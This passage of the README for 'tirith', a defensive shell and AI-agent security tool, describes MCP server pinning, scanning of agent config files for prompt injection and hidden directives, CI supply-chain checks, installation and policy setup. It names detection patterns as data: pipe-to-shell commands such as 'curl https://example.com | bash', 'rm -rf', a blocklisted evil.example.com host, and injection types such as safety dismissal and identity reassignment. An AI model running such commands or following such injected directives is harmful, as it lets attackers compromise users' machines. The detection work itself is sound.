The default `tools/list` is a frozen compatibility contract, because clients
cache it and a tool that appears unannounced changes what an agent believes it
may call. A preview tool, `tirith_check_task`, is therefore **not advertised by
default**: run `TIRITH_MCP_PREVIEW=1 tirith mcp-server` to advertise it, and
without that opt-in a client that calls it by name is refused by name. See
[docs/task-envelope.md](docs/task-envelope.md).

### MCP server governance

`tirith mcp lock` captures every MCP server a repository declares, across `.mcp.json` / `mcp.json` / `mcp_settings.json` and the IDE config variants (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), into a deterministic lockfile at `.tirith/mcp.lock`. Each server is recorded with its transport (a remote URL, or a local command + args), declared tools, coverage metadata, and a content hash; servers are sorted by name/source so the lockfile is diff-friendly. Ambiguous or credential-bearing declarations are refused instead of copied into source control. Environment values and URL userinfo are represented only by fixed presence markers, never by raw values or deterministic hashes: adding/removing a variable or userinfo still drifts, while secret rotation intentionally does not. V7 lockfiles require one explicit re-lock to migrate to this v8 privacy model. Discovery is repo-local only and touches no network. (`tirith mcp` is a separate command group from `tirith mcp-server`, which runs tirith *as* an MCP server.)

`tirith mcp verify` is the gating companion: it rebuilds the current inventory against the committed lockfile and exits 1 on drift or incomplete/rejected config coverage (0 match, 2 on usage errors like a missing lockfile). `tirith mcp diff` reports the same drift informationally (always exit 0, 2 only on usage errors, so a consumer can tell "no drift" from "could not check"). Drift also surfaces through `tirith scan` as `mcp_server_drift` (Medium or High), so a pre-commit hook or CI catches an MCP-surface change the way it catches an un-pinned action. `verify` / `diff` never print env values or URL userinfos, only the names of what changed.

Two policy fields govern what is accepted. Both are keyed by an opaque `mcp:v1:...` identity binding source path, server name, and transport: `scan.trusted_mcp_servers` suppresses that exact server's config findings and drift, while `scan.mcp_allowed_tools` declares the exact tools it may expose. Bare names intentionally match nothing, so a same-named server in another config cannot inherit trust. An explicit tool allow-list also requires an operator-approved live descriptor set and checks both static declarations and live descriptor names. Run `tirith mcp policy init` to scaffold the exact keys into `.tirith/mcp-policy.yaml.example`, then use the gateway's `--mcp-server-identity ... --approve-descriptors` flow to capture an inspected `tools/list` baseline atomically. Every scaffold entry is commented out so importing never silently widens trust.

### Config file scanning

`tirith scan` detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- `.claude/` settings, agents, skills, plugins, rules
- `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/` configs
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**What it catches in configs:**

- **Prompt injection** (skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions). Each file is scanned both raw and deobfuscated (invisible characters, confusables, inter-character spacing, leetspeak, short base64 / hex), so a seed hidden behind encoding still fires
- **Invisible Unicode**: zero-width characters (including Mongolian Vowel Separator), bidi controls, soft hyphens, Unicode tags, Hangul fillers, invisible whitespace encoding, math alphanumeric confusables
- **MCP config issues**: insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access

### CI / repo supply-chain scanning

`tirith scan` also inspects the files a repo checks in to describe its own build and deploy pipeline. It detects the dangerous *pattern*, not the tool: a SHA-pinned action, a digest-pinned image, a local Terraform module, and a normal `package.json` stay clean.

**What it catches in CI / infrastructure files:**

- **GitHub Actions workflows** (`.github/workflows/*.yml`), an action `uses:` reference pinned to a mutable ref (`@v3`, `@main`) instead of a commit SHA; the `pull_request_target` trigger; a `curl … | bash` pipe-to-shell in a `run:` step; an attacker-controllable `${{ github.event.* }}` value interpolated into a `run:` shell step (script injection)
- **Dockerfiles**: a `FROM` base image on the mutable `latest` tag (or no tag) with no `@sha256:` digest pin
- **Terraform** (`*.tf`), a `module` block sourced from a remote / untrusted location rather than a local path or the Terraform Registry
- **Helm charts** (`Chart.yaml`), a chart dependency from an untrusted chart repository
- **`package.json`**: a `preinstall` / `install` / `postinstall` lifecycle script that runs a dangerous command (pipe-to-shell, obfuscated payload, download-and-run); these hooks run automatically on `npm install`

Three built-in `--profile` values tune the scan: `ci-hardening` (every check at full strength, fail-on `high`), `ai-agent-repo` (keeps injection findings, drops low-value pinning-hygiene noise), and `oss-maintainer` (emphasises contributor-controllable risk when reviewing a change).

```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
```

### Hidden content detection

Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:

- **CSS hiding**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, off-screen positioning
- **Color hiding**: white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
- **HTML/Markdown comments**: prompt injection phrases (High), destructive commands like `rm -rf` or `curl|bash` (Medium), long comments hiding instructions (Low)
- **PDF hidden text**: sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs

### AI-relevant file hidden-content scanning

`tirith scan` also inspects file types an AI coding agent (or a renderer) reads and acts on, looking for content **smuggled past a human reviewer**. A normal notebook, an ordinary `CLAUDE.md` with visible instructions, and a plain SVG image stay clean, only hidden / smuggled content fires.

- **Jupyter notebooks** (`*.ipynb`), invisible / bidi / zero-width characters in cell source, a base64-encoded blob embedded in source, a cell hidden from the rendered view (`metadata.jupyter.source_hidden` / a `hide_input` tag), and cell *outputs* carrying invisible characters or active / hidden HTML
- **AI agent-instruction files** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules`, and similar), *hidden* directives only: an instruction inside an HTML comment (invisible in rendered Markdown) or a visually-hidden HTML element. These files legitimately contain visible instructions, so ordinary visible instructions never fire
- **SVG images** (`*.svg`), an embedded `<script>`, an inline `on*` event handler, a `javascript:` URI, a remote `xlink:href` / `href`, or an XXE external-entity declaration

### Cloaking detection

`tirith fetch` compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.

---

## Operational context & workstation guards

Beyond single commands, several command groups extend the gate to your operating context and workstation state. The ones that touch the hot path are opt-in (a policy flag); the rest run on demand.

**Operational context** (`tirith context`, `ssh`, `iac`, `sudo`). Label your prod cloud / Kubernetes contexts and SSH hosts once, and tirith escalates what matters: a destructive command against a labeled-prod context, an SSH to a labeled-prod host, a Terraform / Pulumi / OpenTofu `apply` with no matching saved plan, or a sudo escalation without a reasoned session window. Labels live in `~/.config/tirith/context-labels.yaml` and `ssh-host-labels.yaml` (or repo-scoped under `.tirith/`).

**Workstation hygiene** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). Scan for loose-permission credential files and plaintext tokens (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`), diff the persistence footholds an attacker uses (shell rc, `authorized_keys`, crontab, LaunchAgents / systemd-user units, git `core.hooksPath`), flag aliases that shadow critical commands or read credentials, audit `$PATH` for hijack ordering, and report a binary's provenance (package owner, code signature, whether it shadows a system command).

**Blast radius & isolation** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). Preview the filesystem impact of a destructive command before you run it, diff what a command actually changed afterward, run an untrusted command in a throwaway directory, and track files downloaded from risky sources so executing one later fires a finding. `temp-run` changes only the working directory; it is file isolation, not a sandbox.

## Trust, attestation & incident response

- **Command attestations** (`tirith command-card`) sign a known-good command with an ed25519 key; a trusted card that no longer matches the command fires High.
- **Repo command manifest** (`tirith commands`) is a `.tirith/commands.yaml` allowlist that quiets the unknown-command note for cleared commands and adds an elevation-only `dangerous[]` list (it can tighten a verdict, never weaken one).
- **Honeytokens** (`tirith canary`) plant clearly-synthetic canary tokens; a touch in any checked command, paste, or tool output fires High. Detection is a local store lookup, not a shape match.
- **Secret rotation** (`tirith secret`) reads recent credential findings from your audit log and prints provider-specific rotate / revoke steps for 11 providers. It never rotates anything itself and makes no network calls.
- **Incident mode** (`tirith incident`) declares an "under attack" posture: it forces `fail_mode: closed`, disables the `TIRITH=0` bypass, and elevates the credential-sweep, decode-execute, and suspicious-binary rules until you stop it.

## Output, paste & sharing safety

- **Output-direction defense** (`tirith view`, `tirith output`, `gateway run --filter-output`, and secure-by-default `mcp-server`) neutralizes terminal-deception escapes in command, MCP tool, and resource-read output: OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink mismatch, and title / clear-screen manipulation. It also scans output for prompt injection (raw and deobfuscated) and data-exfiltration beacons. Add custom seeds with `injection_seeds_custom`, and opt in to redacting an injection-only MCP block to a warning (instead of blocking the whole output) with `mcp_redact_injection`. The legacy `mcp-server --unsafe-unsanitized-tool-output` escape hatch is not recommended.
- **Audience-aware redaction** (`tirith share`, `tirith redact`, `tirith logs`) strips secrets and customer / tenant IDs before you paste into a GitHub issue, Slack, an LLM, or a public paste.
- **Paste provenance** (`tirith paste --with-source`, `tirith browser`). With the companion Chrome native-messaging host installed, tirith attributes a pasted command to its source page and flags a paste whose source host differs from where the command runs.

---

## Install

### macOS

**Homebrew:**

```bash
brew install tirith
```

### Linux Packages

**Debian / Ubuntu (.deb):**

Download from [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), then:

```bash
sudo dpkg -i tirith_*_amd64.deb
```

**Fedora / RHEL / CentOS 8+ and Amazon Linux 2023 (.rpm):**

Download from [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), then:

```bash
sudo dnf install ./tirith-*.rpm
```

The Linux GNU release binaries target a GLIBC 2.28 ceiling. CI runs both
x86_64 and aarch64 tarballs on AlmaLinux 8, Amazon Linux 2023, and Rocky Linux
9; the `.deb` and x86_64 `.rpm` contain those same canonical binaries.

**Arch Linux (AUR):**

```bash
yay -S tirith
# or: paru -S tirith
```

**Nix:**

```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
```

### Android (Termux)

Android/Termux runs on Bionic libc, not glibc, so the `aarch64-unknown-linux-gnu`
build cannot run there, it needs glibc's dynamic linker. Use the **musl** build
instead: `tirith-aarch64-unknown-linux-musl.tar.gz` is statically linked and runs
on Termux without an external libc.

```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
```

Then activate the shell hook in `~/.bashrc` (Termux's default shell is bash):

```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc
```

> [!NOTE]
> Termux support is best-effort. The musl artifact is built and smoke-tested in
> CI, but tirith is not yet continuously tested on a real Android device.
> If a hook misbehaves under Termux, please open an issue with `tirith doctor`
> output.

### Windows

Windows supports detection, scanning, webhooks, policy management, audit
uploads, and `tirith setup`. The PowerShell hook provides PSReadLine preflight
interception, but it does not claim a strict post-accept execution receipt.
Live remote-script execution and daemon mode remain unavailable on Windows.

**Scoop:**

```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
```

**Chocolatey** (community repository):

```powershell
choco install tirith
# Upgrade an existing Chocolatey installation:
choco upgrade tirith
```

Chocolatey moderation can lag the GitHub release. Run `choco info tirith` to
see the currently approved version. Use Scoop or a signed artifact from
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) when the
newest release is required before Chocolatey moderation finishes.

### Cross-Platform

**npm:**

```bash
npm install -g tirith
```

**Cargo:**

```bash
cargo install tirith
```

**[Mise](https://mise.jdx.dev/)** (official registry):

```bash
mise use -g tirith
```

**asdf:**

```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
```

**Docker:**

```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
```

### Activate

Add to your shell profile (`.zshrc`, `.bashrc`, or `config.fish`):

```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish
```

| Shell | Hook type | Tested on |
|-------|-----------|-----------|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | enter-key macro or preexec (two modes) | 3.2 compatibility path; 5.0+ for the fully tested modern path |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |

Bash uses enter mode when a capability self-test has proven it works for your bash, and preexec otherwise. Since 0.4.1 that self-test passes on stock GNU bash, so enter mode is the ordinary outcome once `tirith setup` or `tirith doctor` has run it; the shell hook reads the cached verdict at startup. See [troubleshooting](docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) for details on the modes, the self-test, and SSH fallback behavior.

macOS's system Bash 3.2 remains a compatibility path, not the modern blocking
baseline. Its DEBUG-trap behavior can prevent the trampoline from sticking;
Tirith announces the resulting degradation when its heartbeat can observe it,
which may be one command later. Use Bash 5+ or a proven enter-mode path when a
strict Bash authorization gate is required.

> [!WARNING]
> Bash's preexec mode is warn-only by default. Set `TIRITH_BASH_PREEXEC_ENFORCE=1` for conditional blocking. Tirith scans the trustworthy typed line once, enables its own `extdebug` only after a block verdict, and releases it before `PROMPT_COMMAND` runs. If prompt boundaries or a caller-owned DEBUG trap cannot be preserved safely, or `extdebug` is already user-enabled, Tirith visibly leaves preexec interception off instead of clobbering shell state.

#### Enforcement by shell

| Shell | Behavior |
|---|---|
| bash **enter mode** | **Reliable blocking.** Binds Enter to a readline macro that runs the checker and then a guarded accept-line, so a command can be stopped before bash commits to running it. Selected wherever the capability self-test (`tirith doctor --simulate-enter`) has proven delivery and blocking for the running bash, which since 0.4.1 it does on stock GNU bash. A persisted safe-mode flag, an SSH session, or a forced `TIRITH_BASH_MODE=preexec` still selects preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Conditional blocking.** Scans one trustworthy whole line, then turns on Tirith-owned `extdebug` only for a block and restores it at the next prompt. Existing string/array `PROMPT_COMMAND` entries keep their order and run outside scanning. Enforcement visibly refuses or downgrades when history is filtered or an alias / command substitution / `eval` makes the typed line drift from `BASH_COMMAND`; unsafe prompt/DEBUG ownership or user-owned `extdebug` leaves interception explicitly off rather than mutating user state. |
| bash **preexec** (no enforce flag) | Warn-only. Prints a DETECTED banner on risky commands; does not block. The fallback when the enter-mode self-test has not proven delivery works, or when enter mode is otherwise unavailable. |
| zsh, fish | Reliable blocking in their Enter/accept-line handlers, before the native shell handoff. Notification-only preexec events are not treated as authorization gates. |
| PowerShell | Reliable PSReadLine preflight blocking; no strict execution receipt. |
| nushell | Warn-only (does not currently support command interception). |

For line-level blocking on bash, run `tirith doctor --simulate-enter`; if delivery works, enter mode is enabled. Where it does not, use preexec enforce for "blocks when possible; tells you honestly when it can't."

Interactive bash, zsh, and fish use a protocol-v3 execution receipt after the
preflight decision. At hook load, they resolve and pin one absolute Tirith
executable and register a one-time capability bound to the live shell process,
shell family, session, user, and executable identity. A receipt then moves
through `Prepared`, `Armed`, `Consuming`, and a terminal
`Committed`/`Conflict`/`Discarded` state. This improves attribution and replay
resistance, but shell evidence is deliberately recorded as unresolved rather
than proof that every command component executed. Tirith itself owns any
approval or warning-acknowledgement prompt before returning an armed receipt;
the hook cannot attach those facts later. Zsh and fish consume the armed
receipt synchronously in the same line-acceptance handler and hand the command
to the native shell only after that transition succeeds. PowerShell has
preflight blocking without this strict receipt protocol.

A nested shell receives its own process-bound capability even when it inherits
the session ID. Re-sourcing the hook in the same process never mints another
bearer. If `exec` replaces a live shell without changing its PID/start identity,
the replacement cannot recover the deliberately non-exported bearer and runs in
visibly degraded legacy mode; start a fresh terminal or child shell to restore
strict receipts. `exec "$SHELL"` is not a receipt-protocol restart because it
preserves that process identity.

**Nix / Home-Manager:** tirith must be in your `$PATH` when the hook is sourced.
Bash, zsh, and fish then pin that resolved executable for the shell session;
restart the shell after replacing or upgrading the binary. Adding it to
`initContent` alone is not enough.

```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';
```

### Updating and verifying tirith

tirith can verify its own integrity and update itself. Both commands reach the network only when you run them.

```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification
```

**`tirith verify-self`** confirms the running binary is the genuine, unmodified binary from an official release. It re-downloads the release archive for your version and target, verifies it against the signed release `checksums.txt`, verifies the cosign signature over `checksums.txt` when [`cosign`](https://github.com/sigstore/cosign) is installed, and confirms the running binary is byte-identical to the official one. If full verification is not possible, a local dev build, no network, an install tirith cannot identify, it says so honestly rather than reporting a false "verified". With `cosign` absent the checksum is still verified (reported as `verified-checksum-only`); install `cosign` for full signature verification (`verified-signed`).

**`tirith update`** is package-manager-aware:

- **Package-manager installs** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) are never self-modified. tirith prints the exact command to run instead, e.g. `brew upgrade tirith`. Updating through the package manager keeps its database consistent.
- **Self-replaceable installs** (the `install.sh` tarball, a standalone binary, or a securely owned Tirith release cached under a Hermes root (`HERMES_HOME`, or `~/.hermes` when that variable is unset; Unix only)) are updated in place: tirith downloads the latest release, verifies it, then atomically swaps the binary, keeping the previous one as a `tirith.tirith-previous` sidecar. The cosign signature is verified by **default**: if it cannot be verified (cosign missing, or the release published no signature) the update aborts. Pass `--allow-unsigned` to fall back to checksum-only verification; a checksum mismatch always aborts regardless. `tirith update --rollback` reverts to the previous binary; `--dry-run` shows what would happen without changing anything. Updates remain explicit: Tirith never checks for or installs a new binary in the background.

> [!NOTE]
> The install scripts (`scripts/install.sh` and the Windows `install.ps1`) also verify the release's cosign signature by **default** and abort if [`cosign`](https://github.com/sigstore/cosign) is missing or the signature cannot be verified. Install `cosign` first, or set `TIRITH_ALLOW_UNSIGNED=1` to install with checksum-only verification (not recommended). A checksum or signature mismatch always aborts regardless of this opt-out.

### Shell Integrations

**Oh-My-Zsh:**

```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
```

### AI Agent Integrations

Use `tirith setup <tool>` for one-command configuration. This is the complete
named setup surface, including both the earlier integrations and the additions
released in 0.4.0:

| Host | Setup | Protection layer installed by setup | Scope |
|---|---|---|---|
| Claude Code | `tirith setup claude-code --with-mcp` | Blocking `PreToolUse`; MCP optional | Project default or user |
| Cline | `tirith setup cline` | Blocking `PreToolUse` on POSIX and PowerShell, plus MCP; host runs the tool if the hook process fails | User only; hooks must be enabled in Cline |
| OpenAI Codex | `tirith setup codex` | MCP gateway; optional non-interactive zsh guard with `--install-zshenv` | User only |
| GitHub Copilot CLI | `tirith setup copilot-cli` | Blocking `preToolUse` hook | Project only; launch from repo root |
| Continue | `tirith setup continue` | MCP only | Project only |
| Cursor | `tirith setup cursor` | `beforeShellExecution` hook plus MCP gateway; optional zsh guard | Project default or user |
| Vercel Labs fx | `tirith setup fx` | MCP only | Trusted user profile only |
| Gemini CLI | `tirith setup gemini-cli --with-mcp` | Blocking `BeforeTool`; MCP optional | Project default or user |
| Grok Build | `tirith setup grok-build` | POSIX `PreToolUse` plus MCP; host can fail open on hook error/timeout | Project default or user |
| Kiro CLI | `tirith setup kiro` | Blocking agent-scoped `preToolUse` hook | Project default or user; the Tirith-enabled agent must be loaded |
| OMP / Oh My Pi | `tirith setup omp` | Blocking `tool_call` guard plus MCP | User/profile only |
| OpenClaw | `tirith setup openclaw` | Blocking `before_tool_call` plugin | Project default or user |
| OpenCode | `tirith setup opencode` | MCP only | Project default or user |
| OpenHands CLI | `tirith setup openhands` | POSIX `pre_tool_use` hook plus user MCP; host can fail open on hook error | User default; project hook also supported |
| Pi CLI | `tirith setup pi-cli` | Blocking `tool_call` extension | Project default or user |
| Prime Agent | `tirith setup prime-agent` | Blocking bash/IPython guard plus MCP | User only |
| Roo Code | `tirith setup roo-code` | MCP only | Project only |
| VS Code | `tirith setup vscode` | Workspace hook plus MCP gateway; optional zsh guard | Project only |
| Windsurf | `tirith setup windsurf` | `pre_run_command` hook plus MCP gateway; optional zsh guard | User only |

An MCP-only row exposes Tirith's tools but does not force the host to call them.
A hook row is automatic only after the host has loaded the generated artifact
and still honors its refusal contract. Run `tirith doctor`, restart the host,
and perform the host-shaped allow/block check after setup and every upgrade.
Full config paths, precedence rules, fail-open behavior, and verification steps
are in the
[agent integration and trust matrix](mcp/clients/mcp-only-agents.md).
See `mcp/clients/` for the host-specific guides that are available.

### CI/CD Integration

**GitHub Action** with SARIF upload to GitHub Security tab:

```yaml
- uses: sheeki03/tirith@v1
  with:
    fail_on: high
    sarif: true
```

The action's pinned dependencies use the Node 24 action runtime. Self-hosted
runners must use [Actions Runner v2.327.1 or newer](https://github.com/actions/runner/releases/tag/v2.327.1);
GitHub-hosted runners already satisfy this requirement.

Also available as a **pre-commit hook**: see `.pre-commit-hooks.yaml` in this repo.

Scan supports `--include`, `--exclude`, `--profile` (loads named profiles from policy), and `--ignore` filters for targeted CI scanning.

### Rule Documentation

```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category
```

### Remediation, "what to run instead"

Every finding carries a per-rule remediation: a short, accurate "how to make
this safe" line, shown under each finding (`Fix:`) and in `--format json`.
`tirith explain --rule <id> --fix` prints that remediation on its own.

When a command is blocked or warned, `tirith check --suggest` additionally
prints remediation for the *actual* command. It includes a concrete executable
rewrite only for a narrow mechanical transform whose final command is verified
under the same effective policy:

```bash
tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'
# → try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \
#          'https://example-cli.dev/i.sh'
```

On x86_64 Linux, when Tirith is installed at a fixed root-managed system path
and the command's URL, shell, arguments, and stdin behavior can be decoded
exactly, the rewrite routes pipe-to-shell through Tirith's bounded, reviewed,
hash-verified, fail-closed capsule runner. The absolute Tirith path prevents a
later `PATH` shadow from changing what runs. At execution, the runner also
requires the selected interpreter's first `PATH` hit to be root-managed, binds
its bytes before downloading, and preserves that shell instead of trusting the
remote shebang. Other architectures, platforms, and user-owned Tirith
installations keep this remediation as guidance. For curl, executable rewrites
additionally require both
fail-on-HTTP-error and redirect-following semantics (`-f` and `-L`, including a
bundle such as `-fsSL`). Dynamic or malformed URL tokens, unsupported
interpreter arguments, PowerShell, Cmd, and ambiguous pipelines remain
guidance-only. Executable suggestions are limited to the verified, fail-closed
pipe runner. Archive, dotfile, TLS-flag removal, HTTP-to-HTTPS changes, sudo
narrowing, environment scrubbing, and package-name corrections
are guidance-only because their exact shell, network, privilege, environment,
or registry semantics are not mechanically provable. For any finding without a
safe mechanical rewrite, Tirith says so plainly and shows the remediation
instead; it never emits a guessed command. The flag is advisory: it changes
neither the verdict nor the exit code.

### Daemon Mode (Unix)

Optional background process for sub-millisecond latency and network-aware enrichment (shortened URL resolution, DNS blocklist checks):

```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop
```

> [!NOTE]
> Daemon mode is Unix-only today.

---

## Commands

The everyday commands:

| Command | What it does |
|---------|-------------|
| `tirith check -- <cmd>` | Analyze a command without executing it (`--suggest` adds remediation and, when verified, a narrow mechanical rewrite) |
| `tirith paste` | Check pasted content (called automatically by shell hooks) |
| `tirith scan [path]` | Scan files, directories, and configs (`--profile`, `--format sarif`, `--ci`) |
| `tirith run [--capsule] <url>` | Inspect a remote script (`--no-exec` on Unix); Linux live execution is contained and fail-closed by default, using the exact reviewed bytes from a sealed anonymous descriptor (`--capsule` is a legacy compatibility spelling) |
| `tirith fix -- <cmd>` | Interactively apply a verified fail-closed pipe-runner rewrite when available; otherwise show guidance |
| `tirith score <url>` / `diff <url>` | Break down a URL's trust signals, or show where suspicious characters hide |
| `tirith explain --rule <id>` / `why` | Rule docs and remediation, or explain the last trigger |
| `tirith status` / `doctor` | Are you protected? Diagnose install, hooks, and policy (`--fix`, `--quick`) |
| `tirith setup <tool>` / `init` | One-command AI-tool setup, or print the shell hook |
| `tirith policy {init,validate,test}` | Scaffold, validate, and dry-run your policy |
| `tirith trust {add,list,remove}` | Manage trusted patterns (narrow scope, 30-day TTL by default) |
| `tirith threat-db update` | Download and verify the signed threat database |
| `tirith package risk <eco> <name>` | Score a package's supply-chain risk |
| `tirith ecosystem scan [path]` | Score every declared dependency in a project |
| `tirith package inspect --artifact <wheel>` | Inspect exact Python artifact bytes, startup hooks, native code, RECORD integrity, and cross-wheel execution chains |
| `tirith pkg {approve,install,verify-env}` | Approve, hash-pin, contain, install, and verify Python packages on supported x86_64 Linux hosts |
| `tirith mcp {lock,verify}` | Pin and gate a repo's MCP servers |
| `tirith gateway run` | Proxy an upstream MCP server and enforce configured request/output boundaries |
| `tirith daemon start` | Background daemon for faster checks (Unix) |

Explicit, opt-in surfaces. None of these run implicitly, and none has a daemon or a background monitor:

| Command | What it does |
|---------|-------------|
| `tirith task check` | Preview. Assess an untrusted task envelope (issue body, PDF, web page) and report which effects it would be allowed. Executes nothing and stops nothing |
| `tirith capsule run --preset untrusted-project` | Copy an untrusted project into a held ephemeral directory and run an exact argv in a fail-closed capsule. Enforceable on x86_64 Linux only; every other host refuses before anything is copied or spawned |
| `tirith browser audit` | Read-only integrity audit of installed Chromium-family extension source trees, with drift against a signed baseline |
| `tirith pkg attest-npm` | Ask the project's own npm to verify its installed packages' registry signatures, bound to the exact lockfile and install tree |
| `tirith attest {build,verify-build,deployment,verify-deployment}` | Point-in-time receipts over two trees and over deployed routes. Not a reproducible-build claim, and not continuous monitoring |

That is the daily-driver set. tirith ships 78 top-level commands in all, in 8 groups: scan & analyze, status & health, setup, policy & trust, shell & system guards (`hygiene`, `persistence`, `exec`, `path`, `context`, `ssh`, `sudo`, `iac`), supply-chain, AI-agent integrations, and forensics & response. Run `tirith --help` for the categorized list, or see the **[full command reference](docs/commands.md)**. The global `--quiet` flag (or `TIRITH_QUIET=1`) silences advisory output without hiding errors, verdicts, or security notices.

---

## Design principles

- **Offline is a hard boundary**: `paste`, `score`, `diff`, and `why` make zero
  network calls. `tirith check` can query configured OSV/deps.dev/ecosyste.ms,
  CISA KEV, and Safe Browsing sources and can trigger the periodic threat-DB
  refresh below. `tirith check --offline` (or `TIRITH_OFFLINE=1`) suppresses all
  of those HTTP and DNS paths, reads only existing runtime caches, and reports
  cache misses as incomplete verification rather than a clean result.
- **Periodic background threat-DB refresh**: `tirith check` and the shell hooks
  trigger a cheap, detached background check at most once every 24 hours by
  default (`threat_intel.auto_update_hours`), to keep the signed database fresh.
  It never blocks the command. Set `auto_update_hours: 0` to disable it, or
  `--offline` / `TIRITH_OFFLINE=1` to suppress it per invocation. `tirith paste`
  does **not** trigger it; it goes straight through the local engine.
- **No command rewriting**: tirith never modifies what you typed. `--suggest` and `explain --fix` print a separate command for you to run; they never substitute one.
- **No telemetry**: no analytics, no crash reporting, no phone-home behavior.
- **No long-lived background processes by default**: tirith is invoked
  per-command and exits immediately. The threat-DB refresh above is a
  short-lived detached update, not a resident process. Optional `tirith daemon
  start` is the only resident process, and it is opt-in.
- **Network only on documented surfaces**:
  `run`, `fetch`, and `audit report --upload` reach the network only on explicit
  invocation; `check` uses the configured runtime threat sources and the
  threat-DB refresh follows the schedule above. Daemon mode adds network-aware
  URL resolution, and optional webhook / policy-server integrations can make
  outbound requests when configured. `--offline` / `TIRITH_OFFLINE=1` disables
  every `check` hot-path network producer in both daemon and inline modes.
- **Egress guard on fetches.** `tirith run`, `fetch --save`, and `command-card
  fetch` refuse private, loopback, and cloud-metadata hosts by default, and an
  SSRF guard re-checks DNS at connect time and on every redirect hop. To reach a
  specific internal service, set `TIRITH_PRIVATE_FETCH_ALLOW` to a comma-separated
  list of exact hostnames, private IPs, or bounded private CIDRs (for example,
  `registry.internal,10.42.0.0/24`). The legacy broad
  `TIRITH_ALLOW_PRIVATE_FETCH=1` switch is not honored. Link-local, special-use,
  and cloud control-plane/credential endpoints remain blocked even when a host is
  approved. Note what a *hostname* entry grants: that name is approved for
  whatever it resolves to inside private-use and loopback space, `127.0.0.1`
  included, because resolution is not part of the trust decision. Prefer a CIDR
  entry when you mean a fixed address range, and use a hostname only when the
  name itself is what you trust.

---

## Configuration

### Quick start

```bash
tirith policy init          # creates .tirith/policy.yaml in your repo
tirith policy validate      # check for syntax/schema errors
tirith policy test "curl https://example.com | bash"  # dry-run against policy
```

`tirith policy init` accepts `--template <name>` for a curated starter policy:

```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust
```

Each template is a well-commented, schema-valid policy you can edit further.
With no `--template`, `tirith policy init` writes the full default policy.

### Policy file

Tirith uses a YAML policy file. Discovery order:
1. `.tirith/policy.yaml` in current directory (walks up to repo root)
2. `~/.config/tirith/policy.yaml`

```yaml
fail_mode: open        # or "closed" for strict environments
paranoia: 1            # 1-4: higher = more sensitive
strict_warn: false     # require explicit acknowledgement for warnings

allowlist:
  - "get.docker.com"
  - "sh.rustup.rs"

blocklist:
  - "evil.example.com"

severity_overrides:
  docker_untrusted_registry: CRITICAL

scan:
  ignore_patterns:
    - "node_modules"
    - "target"
  profiles:
    ci:
